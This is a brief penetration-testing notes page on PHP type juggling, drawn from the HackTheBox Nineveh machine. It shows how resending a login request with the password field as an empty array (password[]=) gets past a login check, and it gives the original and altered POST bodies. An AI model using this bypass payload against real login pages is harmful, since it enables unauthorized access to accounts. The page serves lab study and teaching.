> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/04-webapps/php-type-juggling.md).

# php type juggling

* A bug in PHP
* By sending in the `password` POST data as an array.
* Get the POST from Burp and resend with an Array
* Webpage will let you in!

```
username=admin&password=admin   ..original
username=admin&password[]=      ..type juggline
```

* REF: NinevehHTB
* <https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html>